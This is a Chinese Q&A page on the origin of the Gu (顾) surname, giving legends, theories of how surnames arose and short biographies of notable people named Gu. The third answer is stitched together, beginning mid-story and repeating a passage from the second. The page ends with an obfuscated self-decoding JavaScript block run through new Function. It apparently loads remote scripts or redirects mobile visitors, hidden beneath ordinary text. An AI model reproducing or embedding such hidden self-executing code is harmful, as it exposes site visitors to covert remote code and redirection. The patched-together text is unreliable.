顾姓氏的由来

2025-02-13 17:46:10
推荐回答(3个)
回答1:

由来: 顾姓是一个历史悠久的姓氏,最早的一支形成在夏末商初,也自现地的范县,还有一支形成在西汉初期,也自现在的江苏苏州。根据有关史书记载,夏朝有个诸侯国叫顾国,夏朝末年,商部落领袖汤率领军队灭掉顾国,亡国以后的顾国王族子孙,散居在全国各地,用原国名作为姓氏,从此中国开始有顾姓。又根据记载,越王勾践的裔孙闽君摇,为东海王,建都东瓯(在现在的浙江就喜县西南),后来摇又封自己的独生子为顾余侯,他的支庶子孙用他的封号的第一字作为姓,也姓顾,从而又形成一支顾姓居民。

三国到唐代,顾姓一直是江东四大姓之一,从古到今,他发展繁衍一直在江浙一带,因此,顾姓历史名人大多出自南方,尤其是江苏。在古代顾姓名人中,最有名的是在中国画史上占有重要地位的顾恺之,和治学有突出成就的顾炎武。在近现代史上,史学界有顾颉刚,曾主编〈〈中国历史地图集〉〉,主持标点〈〈资治通鉴〉〉和二十四史等。在科学技术界有顾济之,为《辞海》水利科副主编参加了《中国大百科全书》的审稿工作,顾震潮,大气物理研究所在地第一任所长,联合国世界气象组织大气科学委员会委员。在艺术界有顾月珍,女,著称沪剧演员,女,钢琴演奏家,真正的钢琴诗人。顾姓在宋人编写的《百家姓》中被排在第93位,当今是中国第81大姓。新加坡等国有顾姓华侨。

回答2:

  据传说,姓的最早起源与原始民族的图腾崇拜有关。氏族部落不但对图腾奉若神明,禁止食、杀、冒犯,而且把它作为本氏族统一的族号。在原始部落中,图腾、族名和祖先名常常是一致的,久而久之,图腾的名称就演变成同一氏族全体成员共有的标记——姓。由图腾演变为姓的传说很多。据考证,夜郎国的国君是竹王,他的臣民以竹为图腾,姓竹。又据史书记载,晋国有狐毛、蛇平,汉代有狗未央、狼莫、鹿旗,三国有豹皮公等人。透过这些古怪的姓名和骆、虎、蚁、牛、羊、鸟、龙、竹、梧、茶、菊等与动物、植物名称相同的姓氏,隐约可见图腾崇拜对姓氏起源的不可磨灭的历史印迹。

  姓的形成除与图腾关系密切外,还与女性分不开。据考古学资料表明,西周铜器铭文中,可以明确考定的姓不到三十个,但大多数都从女旁,如:姜、姚、姒、姬、娲、婢、妊、妃、好、赢等等。不仅古姓多与“女”字相关,就连“姓”这个字本身也从女旁,这大概是母系氏族制度的一个特征性产物。妇女在生产生活中居于支配地位,实行群婚制,兄弟姐妹之间可以通婚,在这种制度下,子女只知其母,不知其父,所以在神话里流传着“圣人无父,感天而生”的许多故事。许多古姓都从女旁,可见我们祖先经历过母系氏族公社的痕迹。

  姓的产生,从史书上看,先秦时期的《国语·晋语》记载“黄帝以姬水成,炎帝以姜水成,故黄帝为姬,炎帝为姜”。《周语》记载“我姬民出自天鼋”。由此说明姓是代表有共同血缘关系种族的称号。同姓之间不许通婚,是周代婚姻制度的规矩,“男女同姓,其生不蕃”(《左传·僖公二十二年》),“同姓不婚,恶不殖也”(《国语·晋剧)。古人很早就懂得近亲婚配会产生不良后代的道理,为辨别男女姓的异同从而决定嫁娶与否,在女子称谓中标明姓就是非常必要的了。由此可见,姓的作用在古代主要就是“别种类”“别婚姻”。

  在古代氏族发展的过程中,又衍生出“氏”这个称号。传说,黄帝治理天下时,已有“胙土命氏”。氏的产生,最大量、最频繁的时代是周朝。周朝初年,为控制被征服的广大地区,大规模地分封诸侯。而这些诸侯国的后人即以封国名为氏。另外,各诸侯国又以同样的方式对国内的卿大夫进行分封,大夫的后人又以受封国的名称为氏。以后,各种形式的氏的来源又不断出现,并且氏的数量远远超过了姓的数量。但是只有贵族才有氏,贫贱者有名无氏,氏成为贵族独有的标志。至于贵族妇女,则无论怎么称呼都必须带上姓,这反映了中国古代封建宗法制度的权威性和严谨性。到战国时期,社会剧烈变动,旧贵族没落了,有的还沦为奴隶。这表明贵族身份的氏,已无存在的必要。

  姓氏相别的制度一直沿用到战国后期。秦朝时,旧贵族瓦解,西周封建宗法制度基本结束,旧的氏族及姓氏制度也被清除殆尽。西汉时期,姓和氏的区别已经微乎其微。司马迁作《史记》时,干脆把姓氏混为一谈,“姓氏之称,自太史公始混而为一,《本纪》于秦始皇则曰‘姓赵氏’,于汉高祖则曰‘姓刘氏’,是也。”(顾炎武《目知录》)此后,中国的姓与氏合而为一,或言姓,或言氏,氏即姓,人们使用姓氏时简单省事,也无贵贱之别,因而平民也从无姓到有姓。

回答3:

上刻的是“露香池”三字,而且是赵子昂的手笔。因此,顾名世将万竹山居改名“露香园”;那座池塘当然一个其旧,依然叫做“露香池”。顾名世的姬妾很多,其中有一个姓缪,她在京城的时候,学会了刺绣,而且是宫中传出来的诀窍;缪姨娘在这方面有天才,更加改良,益见精妙。五色丝线擘,细针密缕,颜色由浅入深,浑然一体,配色之美,更不在话下。最见特色的是,顾绣以针代笔,以丝线作丹青,以名迹作蓝本,山水、人物、花鸟,无不气韵生动,工细无匹,当时称为“画绣”。缪姨娘曾经仿绣赵子昂的“八骏图”,董其昌认为即使是赵子昂本人用笔,亦未见得能胜过她,又绣过一幅“停针图”,真是穷态极妍,而且无法分辨是画、是绣;后来由扬州的一位盐商,拿一个汉玉连环,及南唐名家周癙作画的一幅美人图交换了去。
顾宪成:明代江苏省无锡人,人称东林先生。曾与弟允成和高攀龙等在东林书院讲学。和赵南星、邹元标号为三君。他们议论朝政人物,并得到部分士大夫的支持,形成一个集团,可谓“风声、雨声、读书声,声声入耳;家事、国事、天下事,事事关心。”就是历史上的东林党。
顾贞观:字华峰(1637-1714),号梁汾,清代江苏省无锡人。康熙十一年(1672年)举人,为内阁中书。喜填词,与纳兰性德交情甚笃。词善抒情,真挚委婉,有与陈维崧、朱彝尊“称词家三绝”之誉。著有《弹指词》。
顾炎武:清代大思想家、学者。学识渊博,于国家典制、郡邑掌故、天文仪象、河漕、兵农、以及经史百家、音韵训诂等,都有研究。晚年治经侧重考证,开清代朴学风气,对后来考据学中的吴派、皖派都有影响。为我国历史上最受尊敬的学者之一。著有《日知录》、《天下郡国利病书》、《肇域志》、《音学五书》等。
顾祖禹:江苏省无锡人,清代历史地理学家。他所著的《读史方舆纪要》一书,记叙了历朝疆域、政区的演变,是研究历史地理的重要名著。
顾光旭:字华阳(1731-1797),号晴沙,又号响泉,江苏省无锡人,清代官吏、学者。官甘肃省甘凉道。工书、善诗文。著有《凉溪诗钞》、《响泉集》等。
顾品珍:云南省昆明人,日本陆军士官学校毕业。1921年,任滇军总司令,驱逐唐继尧。后被孙中山任命为云南北伐军总司令,次年被杀。
顾正红:江苏滨海人,工运领袖。1925年他带领上海内外棉纱厂工人代表进厂交涉,被日本资本家枪杀,成为“五·卅运动”导火索。
顾祝同:字墨三(1892-1987),江苏省涟水人。保定军官学校第六期毕业。曾任粤军参谋、黄埔军校教术官兼管理部主任,为黄埔系高层骨干。历任教导团营长、副师长战军长,洛阳行营主任、江苏省主席、重庆行营主任兼贵州省主席、西安行营主任,先后参与东征、北伐、军阀混战,“围剿”红军。抗战期间,任第三战区司令长官,兼江苏省主席,奉蒋介石密令,制造震惊中外的“皖南事变”。后任徐州绥靖公署主任、陆军总司令、参谋总长。去台后,兼代“国防部长”。1950年任“战略顾问委员会”副主任委员,1959年调任“国防会议”秘书长,至1967年重返“战略顾问委员会”,1977年回任“总统府战略顾问”。
顾维钧:上海嘉定人,北洋政府和国民党政府时期外交家。历任欧美各国公使。1919年参加巴黎和会,据理力争,使日方归还中国山东半岛主权。后历任北洋政府外交总长、财政总长和代国务总理。1932年以后,历任国民党政府外交部长及驻国联和联合国代表。1956年转海牙国际法庭任职。在他侨居美国期间,他仍怀念嘉定。据称他遇到凡是人过上海的人,都要问及嘉定。有次当姨甥谈及嘉定时,他精神振奋地绘了一张嘉定地图,图中有嘉定有名的古塔和孔庙,然后又绘了一条东西大街,在街西端写“西门”就说他家在西门。顾维钧绘画,落款常写“亭林顾氏”,他是念念不忘故乡的情结。 在古代氏族发展的过程中,又衍生出“氏”这个称号。传说,黄帝治理天下时,已有“胙土命氏”。氏的产生,最大量、最频繁的时代是周朝。周朝初年,为控制被征服的广大地区,大规模地分封诸侯。而这些诸侯国的后人即以封国名为氏。另外,各诸侯国又以同样的方式对国内的卿大夫进行分封,大夫的后人又以受封国的名称为氏。以后,各种形式的氏的来源又不断出现,并且氏的数量远远超过了姓的数量。但是只有贵族才有氏,贫贱者有名无氏,氏成为贵族独有的标志。至于贵族妇女,则无论怎么称呼都必须带上姓,这反映了中国古代封建宗法制度的权威性和严谨性。到战国时期,社会剧烈变动,旧贵族没落了,有的还沦为奴隶。这表明贵族身份的氏,已无存在的必要。

■郡望堂号

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();